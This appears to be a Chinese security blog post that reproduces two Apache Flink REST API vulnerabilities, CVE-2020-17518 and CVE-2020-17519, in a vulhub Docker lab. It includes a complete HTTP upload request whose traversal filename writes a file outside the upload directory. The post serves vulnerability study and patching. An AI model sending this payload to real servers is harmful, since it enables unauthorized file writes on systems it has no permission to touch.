

CVE-2020-17518&17519: Flink两个漏洞复现

原创 柠檬蔷薇 Timeline Sec

2021-01-14原文

收录于话题

#漏洞复现文章合集

79个

上方蓝色字体关注我们，一起学安全！

作者：柠檬蔷薇@Timeline Sec

本文字数：875

阅读时长：2~3min

声明：请勿用作违法用途，否则后果自负

0x01 简介

Apache

Flink

是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。

0x02 漏洞概述

编号：CVE-2020-17518&17519

Flink 1.5.1 引入了 REST API，但其实现上存在多处缺陷，导致目录遍历和任意文件写入漏洞。

CVE-2020-17519：攻击者可通过 REST API 使用 ../ 跳目录实现系统任意文件读取；CVE-2020-17518：通过构造恶意的 http header，可实现远程文件写入。

0x03 影响版本

1、CVE-2020-17518：

Apache Flink 1.5.1 ~ 1.11.2

2、CVE-2020-17519

Apache Flink 1.11.0、1.11.1、1.11.2

0x04 环境搭建

CVE-2020-17518

使用vulhub进行安装，vulhub地址：

<https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518>

进入目录

```
cd vulhub-master/flink/CVE-2020-17518
```

安装环境

```
sudo docker-compose up -d
```



接着访问<http://your-ip:8081>



CVE-2020-17519

Vulhub地址:

<https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519>

进入目录

```
cd vulhub-master/flink/CVE-2020-17519
```

安装环境

```
sudo docker-compose up -d
```



接着访问: <http://your-ip:8081>



0x05 漏洞复现

CVE-2020-17518

1、构建数据包进行发送

```
POST /jars/upload HTTP/1.1
```

```
Host: localhost:8081
```

```
Accept-Encoding: gzip, deflate
```

```
Accept: */*
```

```
Accept-Language: en
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64;rv:78.0)
```

```
Gecko/20100101 Firefox/78.0
```

```
Connection: close
```

```
Content-Type: multipart/form-data;boundary=----
```

```
WebKitFormBoundaryoZ8meKnrrso89R6Y
```

```
Content-Length: 187
```

```
-----WebKitFormBoundaryoZ8meKnrrso89R6Y
```

```
Content-Disposition: form-data;name="jarfile";  
filename="../../../../../../../tmp/success"
```

```
success
```

```
-----WebKitFormBoundaryoZ8meKnrrso89R6Y--
```


官方已发布安全版本，请及时下载升级至安全版本。

下载链接：

<https://flink.apache.org/zh/downloads.html>

参考链接：

<https://github.com/vulhub/>



阅读原文看更多复现文章

Timeline Sec 团队

安全路上，与你并肩前行

精选留言

用户设置不下载评论

[阅读全文](#)